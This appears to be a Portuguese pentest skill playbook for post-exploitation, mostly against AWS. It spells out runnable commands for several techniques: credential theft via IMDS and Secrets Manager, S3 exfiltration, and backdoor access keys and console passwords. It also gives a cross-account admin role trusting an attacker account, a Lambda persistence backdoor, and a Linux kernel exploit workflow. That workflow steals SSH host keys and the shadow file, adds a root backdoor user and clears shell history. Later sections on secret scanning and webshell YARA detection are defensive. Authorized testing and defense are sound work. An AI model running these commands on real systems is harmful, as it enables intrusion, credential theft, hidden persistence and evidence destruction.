Pentest Post Exploitation

PTES Phase 5: Post-Exploitation

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante o post-exploitation você identificar pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# System enumeration
cat /etc/version  # pfSense version
cat /conf/cf/config.xml  # pfSense configuration
pkg info | grep -i pfsense  # Installed packages

# Network position
ifconfig  # Check for WAN/LAN interfaces
route show  # Check routing table

Sinais de Alerta

• Sistema é FreeBSD (não Linux)
• Arquivo /cf/conf/config.xml presente
• Interfaces WAN/LAN configuradas
• Pacotes pfSense instalados
• Acesso a firewall já comprometido

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para post-exploitation geral (AWS)
# Use pentest-pfsense para:
# - Credential extraction from config.xml
# - OpenVPN/IPSec credential dumping
# - HA/CARP sync exploitation
# - XMLRPC sync abuse
# - Persistence via packages
# - Firewall rule manipulation
# - Network pivoting via VPN tunnels

Objetivo

Após exploração bem-sucedida, avaliar valor do sistema comprometido, estabelecer persistência, realizar movimentação lateral e documentar impacto potencial.

⚡ Integração WorstAssume

Use worst privesc para descobrir automaticamente caminhos de movimentação lateral e persistência:

# Descobrir todas as cadeias de ataque (Famílias I-VII)
worst privesc --db findings.db --all

# Filtrar por família específica
worst privesc --db findings.db --family "Secret Exfiltration"
worst privesc --db findings.db --family "Cross-Account Lateral Movement"

# Exportar cadeias em JSON
worst privesc --db findings.db --output chains.json

⚠️ AVISO IMPORTANTE

• Execute apenas com autorização explícita para cada técnica
• Persistência deve ser removida ao final do teste
• Documente TODAS as ações para o relatório
• Estabeleça limites claros de post-exploitation

Referências PTES Section 5

PTES 5.1 Windows Post Exploitation (Adaptado para AWS)

• 5.1.1 Blind Files → Coleta de dados via APIs AWS
• 5.1.3 System → Enumeração de identidade e permissões
• 5.1.4 Networking → Configurações de rede VPC, Security Groups
• 5.1.5 Configs → Configurações de serviços AWS
• 5.1.6 Finding Important Files → S3, Secrets Manager, Parameter Store
• 5.1.7 Files To Pull → Dados sensíveis em serviços AWS
• 5.1.9 Auto-Start → Lambda triggers, EventBridge rules, Startup scripts
• 5.1.11 Deleting Logs → CloudTrail disable/delete (DEMONSTRAÇÃO APENAS)

PTES 5.2 Obtaining Password Hashes (Adaptado para AWS)

• 5.2.1 LSASS → Credential dump de EC2 instances
• 5.2.2 Extracting Passwords → Secrets Manager, Parameter Store
• 5.2.3 Registry → IAM credentials, access keys

1. Avaliação de Valor do Sistema Comprometido (PTES 5.1.3)

Identificar Permissões Atuais

# Verificar identidade atual (PTES 5.1.3 - whoami equivalent)
aws sts get-caller-identity

# Listar permissões efetivas
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
aws iam list-groups-for-user --user-name <user>

# Enumerar políticas inline
aws iam list-user-policies --user-name <user> --query 'PolicyNames[]'

Classificar Nível de Acesso (PTES 5.1.5)

NÍVEL 1 - LEITURA (Read-Only)
- s3:GetObject, s3:ListBucket
- ec2:Describe*, rds:Describe*, lambda:Get*
- Impacto: Confidencialidade apenas

NÍVEL 2 - ESCRITA (Write)
- s3:PutObject, s3:DeleteObject
- ec2:RunInstances, lambda:UpdateFunctionCode
- iam:AttachUserPolicy, iam:PutUserPolicy
- Impacto: Confidencialidade + Integridade

NÍVEL 3 - ADMINISTRAÇÃO (Admin)
- iam:*, sts:*, organizations:*
- Controle total de serviços específicos
- Impacto: CIA completo

NÍVEL 4 - ROOT EQUIVALENT
- AdministratorAccess (arn:aws:iam::aws:policy/AdministratorAccess)
- Full acesso a todos os serviços
- Pode criar/deletar qualquer recurso

2. Movimentação Lateral (PTES 5.1.8)

Famílias de Cadeias de Ataque para Movimentação Lateral

O WorstAssume detecta automaticamente 3 famílias principais de movimentação lateral:

Família III: Compute Credential Theft (HIGH)

PATH-015: ssm:SendCommand → Steal EC2 Instance Profile
  - Envia comando SSM para instância EC2
  - Coleta credenciais via IMDS (169.254.169.254)
  - Reutiliza credenciais do Instance Profile

PATH-016: EC2 ModifyUserData → Steal Instance Profile
  - Stop da instância
  - Injeta script malicioso no UserData
  - Start da instância → script exfiltra credenciais

PATH-017: Lambda UpdateFunctionCode → Steal Execution Role
  - Overwrite da função Lambda com código malicioso
  - Credenciais da role disponíveis como env vars
  - Exfiltração via environment variables

PATH-018: ECS UpdateService → Steal Task Role
  - RegisterTaskDefinition com imagem maliciosa
  - UpdateService para usar nova task
  - Container exfiltra credenciais da Task Role

Família IV: Secret Exfiltration → Credential Reuse (HIGH/MEDIUM)

PATH-019: SecretsManager GetSecretValue → IAM Credential Reuse
  - Lê todos os secrets do Secrets Manager
  - Reutiliza credenciais IAM encontradas
  - Escala para identidade com mais privilégios

PATH-020: SSM GetParameter → IAM Key via SecureString
  - Lê parâmetros SecureString do SSM
  - Credenciais armazenadas como SecureString
  - Reutilização para escala de privilégio

PATH-021: Lambda GetFunction → Env Vars Credential Harvest
  - Coleta configuração da função Lambda
  - Extrai variáveis de ambiente
  - Credenciais hardcoded em env vars

PATH-022: S3 GetObject → Credential File Exfiltration
  - Lê objetos de buckets S3 acessíveis
  - Busca: .aws/credentials, id_rsa, terraform.tfstate
  - Reutiliza credenciais encontradas

Família VII: Cross-Account Lateral Movement (CRITICAL)

PATH-041: WildcardTrust → AnyPrincipalAssume
  - Role com Principal: "*" na trust policy
  - Qualquer conta AWS pode assumir
  - Acesso imediato a permissões perigosas

PATH-042: CrossAccount → DangerousRole
  - Trust policy permite conta específica
  - Movement lateral entre contas
  - Escala dentro da conta alvo

Lateral Movement: Cross-Account

# Listar trust relationships cross-account
worst assess --account-id <target-account>

# Assumir role em outra conta (PTES 5.1.8 - Remote System Access)
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
  --role-session-name lateral-movement

# Verificar acesso na nova conta
aws sts get-caller-identity
aws s3 ls  # Testar acesso a recursos

Lateral Movement: Via SSM (PTES 5.1.4 - Networking)

# Listar instâncias gerenciadas (PTES 5.1.3 - System)
aws ssm describe-instance-information --query 'InstanceInformationList[].{Id:InstanceId,Name:Name}'

# Acessar instância
aws ssm start-session --target <instance-id>

# Dentro da sessão, coletar (PTES 5.1.6 - Finding Important Files):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
cat /etc/passwd
find /home -name "*.pem" -o -name "*.key" -o -name ".aws"
cat ~/.aws/credentials

Lateral Movement: Via Lambda

# Listar functions (PTES 5.1.5 - Configs)
aws lambda list-functions --query 'Functions[].{Name:FunctionName,Role:Role}'

# Identificar functions com roles privilegiadas
# Update function code para coleta de dados (PTES 5.1.10 - Binary Planting)
aws lambda update-function-code \
  --function-name <target-function> \
  --zip-file fileb://malicious.zip

# Invocar para execução
aws lambda invoke --function-name <target-function> output.json

Lateral Movement: Via Network Pivoting com Naabu + hping3 (PTES 5.1.4 - Networking)

# Após comprometer uma instância, usar Naabu para mapeamento rápido da rede interna

# Scan de subnet comprometida
naabu -host 10.0.1.0/24 -p 22,80,443,3306,5432 -silent

# Identificar hosts ativos primeiro
naabu -host 10.0.1.0/24 -sn -silent

# Scan completo da rede interna
naabu -host 10.0.0.0/8 -p 22,80,443 -rate 1000 -silent

# Output JSON para análise
naabu -host 10.0.1.0/24 -j -o internal-scan.json

# Complementar com hping3 para firewall testing

# Descobrir hosts na subnet comprometida
hping3 -S -p 22 --scan 1-254 10.0.1.0/24

# Identificar gateways e roteadores
hping3 -1 -c 3 10.0.1.1  # ICMP para gateway provável

# Mapear portas internas (que não estão expostas externamente)
hping3 -S -p 3306,5432,1433,27017 --scan 10.0.1.50  # databases internas

# Testar conectividade entre segmentos de rede
hping3 -S -p 445 -I eth0 10.0.2.0/24  # SMB lateral movement

# Covert channel via ICMP (se permitido)
hping3 -1 -d 1024 -C "exfil_data" 10.0.1.1

# Beaconing simulation para detectar NDR/IDS
hping3 -S -p 443 -i 60000 -c 10 10.0.1.100  # 1 packet/minuto

Lateral Movement: Via ECS

# Listar clusters
aws ecs list-clusters

# Listar task definitions
aws ecs list-task-definitions

# Registrar nova task definition com role privilegiada
aws ecs register-task-definition --cli-input-json file://malicious-task.json

# Update service para usar nova task
aws ecs update-service --cluster <cluster> --service <service> --task-definition <new-task>

3. Estabelecimento de Persistência (PTES 5.1.9 - Auto-Start)

Detecção de Persistência com WorstAssume

O WorstAssume identifica técnicas de persistência através das famílias de PrivEsc:

# Family V: Account Takeover (persistência via credenciais)
worst privesc --db findings.db --family "Account Takeover"

# Family A: IAM Self-Modification (persistência via políticas)
worst privesc --db findings.db --family "IAM Self-Modification"

Técnicas de Persistência Detectadas (Family V - Account Takeover)

PATH-023: UpdateLoginProfile → Console Access Takeover

# Detecção: _can_do(actions, "iam:UpdateLoginProfile")
- Atualiza senha de console de usuário comprometido
- Define --no-password-reset-required
- Persistência: acesso console a qualquer momento
- Severidade: HIGH

PATH-024: CreateLoginProfile → Backdoor Console User

# Detecção: _can_do(actions, "iam:CreateLoginProfile")
- Cria perfil de console para usuário sem login
- Senha definida pelo atacante
- Persistência: novo canal de acesso
- Severidade: HIGH

PATH-025: UpdateAccessKey → Reactivate Disabled Key

# Detecção: _can_do(actions, "iam:UpdateAccessKey")
- Reativa access key desativada
- Status mudado de Inactive para Active
- Persistência: credencial funcional
- Severidade: MEDIUM

PATH-026: CreateAccessKey → New Long-term Credential

# Detecção: _can_do(actions, "iam:CreateAccessKey")
- Cria nova access key para usuário
- AccessKeySecret disponível apenas na criação
- Persistência: credencial de longo prazo
- Severidade: HIGH

PATH-027: UpdateAssumeRolePolicy → Backdoor Role Trust

# Detecção: _can_do(actions, "iam:UpdateAssumeRolePolicy")
- Modifica trust policy da role
- Adiciona atacante como principal confiável
- Persistência: AssumeRole futuro garantido
- Severidade: CRITICAL

PATH-028: CreateRole → Backdoor Role Creation

# Detecção: _can_do(actions, "iam:CreateRole")
- Cria nova role com trust para conta do atacante
- Attach de políticas privilegiadas
- Persistência: acesso cross-account persistente
- Severidade: CRITICAL

Técnica 1: Access Key Backdoor

# Criar access key persistente (PTES 5.1.9)
aws iam create-access-key --user-name <compromised-user>

# Salvar para uso futuro
# ARMAZENAR EM LOCAL SEGURO PARA REMOÇÃO POSTERIOR

# Verificar keys existentes
aws iam list-access-keys --user-name <user>

Técnica 2: Login Profile (PTES 5.1.9)

# Criar console access
aws iam create-login-profile \
  --user-name <compromised-user> \
  --password 'BackdoorPassword123!' \
  --no-password-reset-required

# OU atualizar existente
aws iam update-login-profile \
  --user-name <compromised-user> \
  --password 'NewBackdoorPassword123!'

Técnica 3: Inline Policy Backdoor

# Criar policy inline que persiste
aws iam put-user-policy \
  --user-name <compromised-user> \
  --policy-name BackdoorAccess \
  --policy-document file://backdoor-policy.json

# Policy que permite manter acesso
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "iam:CreateAccessKey",
      "iam:CreateLoginProfile",
      "iam:UpdateLoginProfile"
    ],
    "Resource": "*"
  }]
}

Técnica 4: Lambda Backdoor (PTES 5.1.9 - Auto-Start)

# Criar Lambda function backdoor
aws lambda create-function \
  --function-name system-maintenance \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/backdoor-role \
  --handler index.handler \
  --zip-file fileb://backdoor.zip \
  --description "System maintenance function"

# Criar trigger (EventBridge schedule) - PTES 5.1.9
aws events put-rule \
  --name system-maintenance-schedule \
  --schedule-expression "rate(1 hour)"

aws lambda add-permission \
  --function-name system-maintenance \
  --statement-id AllowEventBridge \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:REGION:ACCOUNT:rule/system-maintenance-schedule

Técnica 5: Cross-Account Role (PTES 5.1.8)

# Criar role que permite acesso futuro
aws iam create-role \
  --role-name ExternalAuditRole \
  --assume-role-policy-document file://trust-external.json

# Trust policy que permite conta externa
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"
    },
    "Action": "sts:AssumeRole"
  }]
}

# Attach AdministratorAccess
aws iam attach-role-policy \
  --role-name ExternalAuditRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

4. Coleta de Dados Sensíveis (PTES 5.1.6-5.1.7)

S3 Data Exfiltration (PTES 5.1.7 - Files To Pull)

# Listar todos os buckets
aws s3 ls

# Listar conteúdo de buckets
aws s3 ls s3://<bucket> --recursive

# Download de dados sensíveis
aws s3 sync s3://<sensitive-bucket> ./exfil-data/

# Buscar padrões específicos
aws s3 ls s3://<bucket> --recursive | grep -E '\.(pem|key|sql|bak|backup)'

Secrets Manager Harvest (PTES 5.2.2)

# Listar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[*].Name'

# Ler todos os secrets
for secret in $(aws secretsmanager list-secrets --query 'SecretList[*].Name' --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value --secret-id $secret --query 'SecretString' --output text
done

RDS Credential Collection (PTES 5.1.7)

# Listar databases
aws rds describe-db-instances --query 'DBInstances[*].{Name:DBInstanceIdentifier,Engine:Engine}'

# Listar snapshots (podem conter dados sensíveis)
aws rds describe-db-snapshots --query 'DBSnapshots[*].{Id:DBSnapshotIdentifier,Status:Status}'

# Snapshots compartilhados publicamente
aws rds describe-db-snapshots --snapshot-type public --query 'DBSnapshots[*].DBSnapshotIdentifier'

EBS Snapshot Analysis (PTES 5.1.7)

# Listar snapshots
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[*].{Id:SnapshotId,Volume:VolumeId}'

# Snapshots públicos (risco de exposição)
aws ec2 describe-snapshots --restorable-by-user-ids all --query 'Snapshots[*].SnapshotId'

CloudTrail Analysis (PTES 5.1.11 - Logs)

# Listar trails
aws cloudtrail describe-trails --query 'trailList[*].{Name:Name,S3Bucket:S3BucketName}'

# Verificar se logging está ativo
aws cloudtrail get-trail-status --name <trail-name>

# Query logs (se CloudWatch Logs integrado)
aws logs describe-log-groups --log-group-name-prefix /aws/cloudtrail/

5. Avaliação de Impacto

Impacto de Confidencialidade (PTES 5.1.7)

DADOS ACESSADOS:
[ ] Dados de PII (Personally Identifiable Information)
[ ] Dados financeiros
[ ] Credenciais (AWS, database, API)
[ ] Propriedade intelectual
[ ] Dados de saúde (HIPAA)
[ ] Dados de cartão de crédito (PCI-DSS)
[ ] Segredos comerciais

Impacto de Integridade (PTES 5.1.10)

MODIFICAÇÕES POSSÍVEIS:
[ ] Alteração de dados em databases
[ ] Modificação de código (Lambda, EC2)
[ ] Alteração de configurações IAM
[ ] Modificação de CloudTrail logs
[ ] Alteração de security groups

Impacto de Disponibilidade

INTERRUPÇÕES POSSÍVEIS:
[ ] Delete de recursos críticos
[ ] Stop de instâncias EC2
[ ] Delete de buckets S3
[ ] Disable de CloudTrail
[ ] Delete de KMS keys

Impacto Regulatório

COMPLIANCE AFETADO:
[ ] GDPR (dados de EU citizens)
[ ] HIPAA (dados de saúde)
[ ] PCI-DSS (dados de cartão)
[ ] SOC 2 (controles de segurança)
[ ] ISO 27001 (gestão de segurança)

6. Movimentação Lateral Avançada (PTES 5.1.8)

Pivoting via Resource Roles

# EC2 Instance Profile
aws ec2 describe-instances --query 'Reservations[].Instances[].{Id:InstanceId,Profile:IamInstanceProfile}'

# Lambda Execution Role
aws lambda list-functions --query 'Functions[].{Name:FunctionName,Role:Role}'

# ECS Task Role
aws ecs list-task-definitions --query 'taskDefinitionArns[]'
aws ecs describe-task-definition --task-definition <arn>

Pivoting via Trust Relationships (PTES 5.1.8)

# Identificar todas as roles que podem ser assumidas
aws iam list-roles --query 'Roles[*].{Name:RoleName,Arn:Arn}'

# Para cada role, verificar trust policy
aws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument'

# Assumir roles acessíveis
aws sts assume-role --role-arn <role-arn> --role-session-name pivot

Pivoting via Cross-Account (PTES 5.1.8)

# Após assumir role em conta B a partir de conta A:
# Listar recursos na conta B
aws s3 ls
aws ec2 describe-instances

# Da conta B, verificar se há trust para conta C
aws iam list-roles --query 'Roles[*].AssumeRolePolicyDocument'

# Se houver trust, assumir role na conta C
aws sts assume-role --role-arn arn:aws:iam::CONTA_C:role/trusted-role

7. Limpeza (Remediation das Backdoors) (PTES 5.1.11)

Remover Backdoors Criadas

# Remover access keys criadas
aws iam delete-access-key --user-name <user> --access-key-id <key-id>

# Remover login profiles
aws iam delete-login-profile --user-name <user>

# Remover inline policies
aws iam delete-user-policy --user-name <user> --policy-name BackdoorAccess
aws iam delete-role-policy --role-name <role> --policy-name BackdoorAccess

# Remover Lambda backdoor
aws lambda delete-function --function-name system-maintenance

# Remover EventBridge rule
aws events remove-targets --rule system-maintenance-schedule --ids '["0"]'
aws events delete-rule --name system-maintenance-schedule

# Remover cross-account role
aws iam detach-role-policy --role-name ExternalAuditRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-role --role-name ExternalAuditRole

Verificar Limpeza Completa (PTES 5.1.11)

Validação com WorstAssume

# Re-executar análise para verificar persistência removida
worst assess --credentials ./session-credentials --output post-cleanup.json

# Verificar se cadeias de persistência foram removidas
worst privesc --db findings.db --family "Account Takeover" --output cleanup-verify.json

# Comparar antes/depois da limpeza
diff chains-before.json chains-after.json

# Verificar access keys restantes
aws iam list-access-keys --user-name <user>

# Verificar login profiles
aws iam get-login-profile --user-name <user> 2>/dev/null || echo "No login profile"

# Verificar inline policies
aws iam list-user-policies --user-name <user>
aws iam list-role-policies --role-name <role>

# Verificar Lambda functions criadas
aws lambda list-functions --query 'Functions[?contains(FunctionName, `backdoor`) || contains(FunctionName, `system-maintenance`)]'

# Verificar roles criadas
aws iam list-roles --query 'Roles[?contains(RoleName, `ExternalAudit`) || contains(RoleName, `Backdoor`)]'

8. Documentação de Post-Exploration (PTES 5)

Template de Relatório

POST-EXPLOITATION ASSESSMENT

COMPROMISED IDENTITY:
- ARN: [arn:aws:iam::...]
- Initial Access Level: [Read/Write/Admin]
- Final Access Level: [Read/Write/Admin]

LATERAL MOVEMENT (PTES 5.1.8):
- Account A → Account B: [Role used]
- Account B → Account C: [Role used]
- Services accessed: [EC2, S3, Lambda, RDS, etc.]

PERSISTENCE ESTABLISHED (PTES 5.1.9):
1. [Técnica 1 + ARN do recurso]
2. [Técnica 2 + ARN do recurso]
3. [Técnica 3 + ARN do recurso]

DATA ACCESSED (PTES 5.1.6-5.1.7):
- S3 Buckets: [Lista]
- Secrets: [Lista]
- Databases: [Lista]
- Other: [Lista]

IMPACT ASSESSMENT:
- Confidentiality: [Alto/Médio/Baixo + justificativa]
- Integrity: [Alto/Médio/Baixo + justificativa]
- Availability: [Alto/Médio/Baixo + justificativa]
- Compliance: [GDPR, HIPAA, PCI-DSS afetados]

CLEANUP VERIFICATION (PTES 5.1.11):
- [ ] All access keys removed
- [ ] All login profiles removed
- [ ] All inline policies removed
- [ ] All Lambda backdoors removed
- [ ] All cross-account roles removed
- [ ] All EventBridge rules removed

Credential Hunting com /api-keys

Recursos Disponíveis (security-patterns plugin)

Local: `seclists-categories pattern-matching/pattern-matching/references/`

Patterns para Credential Detection:
- `grepstrings-basic.txt` - Basic strings para grep
- `php-auditing.txt` - Patterns para auditoria PHP
- `malicious.txt` - Padrões de código malicioso
- `pcap-strings.txt` - Strings para análise de PCAP

Uso do Comando /api-keys

# Iniciar scan interativo
/api-keys

# O comando irá ajudar a:
1. Identificar o que escanear (code repo, config files, logs)
2. Selecionar patterns apropriados
3. Executar scan com grep/truffleHog/git-secrets
4. Remediar credentials encontradas

Pattern Matching para Credential Hunting

# AWS Credentials
grep -rE "AKIA[0-9A-Z]{16}" . 2>/dev/null
grep -rE "[0-9a-zA-Z/+=]{40}" . 2>/dev/null  # AWS Secret

# Google Cloud
grep -rE "AIza[0-9A-Za-z_-]{35}" . 2>/dev/null

# GitHub Tokens
grep -rE "ghp_[0-9a-zA-Z]{36}" . 2>/dev/null
grep -rE "gho_[0-9a-zA-Z]{36}" . 2>/dev/null

# Generic Secrets
grep -riE "api[_-]?key.*[=:]\s*['\"][0-9a-zA-Z]{32,}['\"]" . 2>/dev/null
grep -riE "secret.*[=:]\s*['\"][0-9a-zA-Z]{32,}['\"]" . 2>/dev/null
grep -riE "password.*[=:]\s*['\"][^'\"]+['\"]" . 2>/dev/null

# Private Keys
grep -r "BEGIN.*PRIVATE KEY" . 2>/dev/null
grep -r "BEGIN RSA PRIVATE KEY" . 2>/dev/null

# Database Connection Strings
grep -riE "mongodb(\+srv)?://[^'\"]+" . 2>/dev/null
grep -riE "postgres://[^'\"]+" . 2>/dev/null
grep -riE "mysql://[^'\"]+" . 2>/dev/null

Automated Scanning Script

import re
import os

patterns = {
    'AWS_ACCESS_KEY': r'AKIA[0-9A-Z]{16}',
    'AWS_SECRET_KEY': r'[0-9a-zA-Z/+=]{40}',
    'GCP_API_KEY': r'AIza[0-9A-Za-z_-]{35}',
    'GITHUB_TOKEN': r'ghp_[0-9a-zA-Z]{36}',
    'GENERIC_API_KEY': r'api[_-]?key.*[=:]\s*['"][0-9a-zA-Z]{32,}['"]',
    'GENERIC_SECRET': r'secret.*[=:]\s*['"][0-9a-zA-Z]{32,}['"]',
    'PASSWORD': r'password\s*[=:]\s*['"][^'"]+['"]',
    'PRIVATE_KEY': r'BEGIN.*PRIVATE KEY',
    'MONGODB_URI': r'mongodb(\+srv)?://[^'"]+',
    'POSTGRES_URI': r'postgres://[^'"]+',
}

def scan_file(filepath):
    try:
        with open(filepath, 'r', errors='ignore') as f:
            content = f.read()
            for name, pattern in patterns.items():
                matches = re.findall(pattern, content, re.IGNORECASE)
                if matches:
                    print(f"[{name}] Found in {filepath}: {len(matches)} matches")
    except:
        pass

for root, dirs, files in os.walk('.'):
    # Skip common non-code directories
    dirs[:] = [d for d in dirs if d not in ['node_modules', '.git', 'vendor']]
    for file in files:
        if file.endswith(('.py', '.js', '.ts', '.env', '.config', '.json', '.yaml', '.yml', '.xml', '.properties')):
            scan_file(os.path.join(root, file))

Tools para Credential Scanning

# git-secrets
git secrets --install
git secrets --add 'AKIA[0-9A-Z]{16}'
git secrets --scan

# truffleHog
trufflehog git https://github.com/user/repo
trufflehog filesystem /path/to/code

# Gitleaks
gitleaks detect --source /path/to/code
gitleaks protect --source /path/to/code

Remediation Steps

1. Immediate Action
   - Rotate compromised credentials immediately
   - Revoke exposed API keys
   - Update affected systems

2. Code Cleanup
   - Remove secrets from code
   - Use environment variables
   - Implement secret management (Vault, AWS Secrets Manager)

3. Git History
   - Use git-filter-branch ou BFG Repo-Cleaner
   - Rewrite history to remove secrets
   - Force push cleaned history

4. Prevention
   - Add pre-commit hooks (git-secrets)
   - Use .gitignore para sensitive files
   - Implement secret scanning in CI/CD

Web Shell Detection com /webshell-detect

Recursos Disponíveis (security-webshells plugin)

Local: `seclists-categories web-shells/web-shells/references/`

Web Shell Samples (para análise defensiva):
- PHP web shells (c99, r57, b374k)
- ASP/ASPX shells
- JSP shells
- Python shells
- Perl shells

Uso do Comando /webshell-detect

# Iniciar análise defensiva
/webshell-detect

# O comando irá ajudar a:
1. Entender necessidades de detecção
2. Analisar arquivos suspeitos
3. Criar YARA rules
4. Gerar IOCs para hunting

Static Analysis - Detecção de Web Shells

# Pattern matching para funções suspeitas (PHP)
grep -rE "eval\s*\(" /var/www/ 2>/dev/null
grep -rE "base64_decode\s*\(" /var/www/ 2>/dev/null
grep -rE "system\s*\(" /var/www/ 2>/dev/null
grep -rE "shell_exec\s*\(" /var/www/ 2>/dev/null
grep -rE "exec\s*\(" /var/www/ 2>/dev/null
grep -rE "passthru\s*\(" /var/www/ 2>/dev/null
grep -rE "preg_replace.*\/e" /var/www/ 2>/dev/null  # Deprecated /e modifier
grep -rE "assert\s*\(" /var/www/ 2>/dev/null

# Hash comparison
md5sum suspicious.php | grep -f known-webshell-hashes.txt

# YARA scanning
yara webshell-rules.yar /var/www/

YARA Rules para Web Shell Detection

rule webshell_php_eval {
    strings:
        $eval = "eval(" nocase
        $base64 = "base64_decode" nocase
        $php = "<?php"

    condition:
        $php and ($eval or $base64)
}

rule webshell_php_system {
    strings:
        $system = "system(" nocase
        $shell_exec = "shell_exec(" nocase
        $exec = "exec(" nocase
        $php = "<?php"

    condition:
        $php and ($system or $shell_exec or $exec)
}

rule webshell_php_obfuscated {
    strings:
        $str1 = "gzinflate" nocase
        $str2 = "str_rot13" nocase
        $str3 = "preg_replace" nocase
        $php = "<?php"

    condition:
        $php and ($str1 or $str2 or $str3)
}

rule webshell_asp_eval {
    strings:
        $eval = "Execute(" nocase
        $asp = "<%"

    condition:
        $asp and $eval
}

Behavioral Analysis

# File integrity monitoring
aide --check
tripwire --check

# New files in web directories
find /var/www -type f -mtime -7 -ls

# Unusual file permissions
find /var/www -type f -perm -o+w -ls
find /var/www -type f -name "*.php" ! -user www-data -ls

# Log analysis para acesso suspeito
grep -E "POST.*/upload" /var/log/apache2/access.log
grep -E "\.php\?.*=" /var/log/apache2/access.log  # Parameterized PHP calls

IOC Generation

Indicators of Compromise (IOCs) para web shells:

File Hashes:
- MD5: xxxxx
- SHA1: xxxxx
- SHA256: xxxxx

File Paths:
- /var/www/html/images/shell.php
- /tmp/.hidden/backdoor.php

Code Patterns:
- eval(base64_decode($_REQUEST['c']))
- preg_replace('/.*/e', $_REQUEST['cmd'], '')

Network Indicators:
- C2 beacon patterns
- Unusual outbound connections

Analysis Workflow

1. Isolate: Remover arquivo suspeito de produção
2. Analyze: Examinar em ambiente seguro
3. Signature: Criar regras de detecção (YARA, Sigma)
4. Hunt: Buscar arquivos similares
5. Remediate: Remover todas as instâncias
6. Harden: Corrigir vulnerabilidade que permitiu upload

POST-EXPLOIT-LPE-002: CVE-2026-46333 "ssh-keysign-pwn" - Linux Kernel ptrace_may_access Bypass

VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 5.1.3 - System / 5.1.6 - Finding Important Files / 5.1.8 - Lateral Movement

Quando Usar em Post-Exploitation

CENÁRIO 1: Acesso inicial como usuário não-privilegiado
- Você tem shell como www-data, mysql, ou usuário comum
- Objetivo: Escalar para root via roubo de credenciais
- Técnica: CVE-2026-46333 via sshkeysign_pwn ou chage_pwn

CENÁRIO 2: SSH Host compromise
- Objetivo: Impersonate do servidor SSH
- Técnica: sshkeysign_pwn para roubar chaves do host
- Pós: MITM em conexões SSH futuras

CENÁRIO 3: Credential harvesting
- Objetivo: Obter hashes /etc/shadow
- Técnica: chage_pwn durante execução root
- Pós: Quebra offline de senhas

CENÁRIO 4: Container escape (Kubernetes)
- Você está dentro de um pod/container
- Kernel do host é compartilhado
- Técnica: Mesma LPE, impacta todo o node

Passo-a-Passo para Post-Exploitation

# STEP 1: Verificar se kernel é vulnerável (safe)
cd /opt/Tools/ssh-keysign-pwn/
./vuln_target
# "VULNERABLE" → prosseguir
# "NOT VULNERABLE" → tentar outro método

# STEP 2: Enumerar vetores disponíveis

# Vetor A: SSH Keysign
grep -i EnableSSHKeysign /etc/ssh/ssh_config
# Se "EnableSSHKeysign yes" → vetor disponível

# Vetor B: Chage sudo
sudo -l | grep chage
# Se chage permitido → vetor disponível

# STEP 3: Explorar vetor disponível

# Abordagem A: sshkeysign_pwn (roubo de chaves SSH)
make
./sshkeysign_pwn

# Verificar chaves roubadas
ls -la /tmp/stolen_keys/
cat /tmp/stolen_keys/ssh_host_ecdsa_key
cat /tmp/stolen_keys/ssh_host_ed25519_key
cat /tmp/stolen_keys/ssh_host_rsa_key

# Abordagem B: chage_pwn (roubo de shadow)
./chage_pwn root

# Verificar shadow roubado
cat /tmp/stolen_shadow

Integração com Outras Técnicas de Post-Exploitation

# Após obter acesso via CVE-2026-46333:

# 1. Persistence (PTES 5.1.9)
# Com SSH host keys:
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Criar backdoor user
echo "backdoor::0:0:Backdoor:/root:/bin/bash" >> /etc/passwd

# 2. Credential Harvesting (PTES 5.2)
# Se roubou shadow via chage_pwn:
cat /tmp/stolen_shadow > /tmp/shadow.dump
john /tmp/shadow.dump
hashcat -m 1800 /tmp/shadow.dump /path/to/wordlist

# 3. Lateral Movement (PTES 5.1.8)
# Com SSH host keys - MITM attack:
# - Configurar proxy SSH para interceptar conexões
# - Assinar certificados SSH falsos
# - Acessar trust relationships baseadas em host keys

# SSH para outras máquinas com chaves encontradas
find /home -name "id_rsa" -exec cat {} \;

# 4. Data Exfiltration (PTES 5.1.7)
# Acessar dados sensíveis
find / -name "*.sql" -o -name "*.bak" -o -name "credentials*"

# 5. Cleanup
# Remover evidência de exploração
rm -rf /tmp/stolen_keys /tmp/stolen_shadow
history -c

Pós-Exploração Específica: SSH Host Key Theft

# Após roubar chaves SSH do host:

# 1. Analisar chaves roubadas
file /tmp/stolen_keys/*
ssh-keygen -lf /tmp/stolen_keys/ssh_host_ed25519_key

# 2. Configurar MITM (demonstração)
# Em máquina atacante:
cp /tmp/stolen_keys/* /etc/ssh/
systemctl restart sshd

# 3. Monitorar conexões
# Quando vítimas conectarem, você pode:
# - Logar credenciais
# - Interceptar sessões
# - Assinar certificados falsos

# 4. Impacto em federações SSH
# Se host é parte de trust federation:
# - Acesso a outros hosts trusting this key
# - Assinatura de certificados de usuário
# - Bypass de host verification

Pós-Exploração Específica: Shadow Theft

# Após roubar /etc/shadow:

# 1. Analisar hashes
cat /tmp/stolen_shadow

# 2. Identificar usuários privilegiados
grep -E "^root:|^admin:|^sudo:" /tmp/stolen_shadow

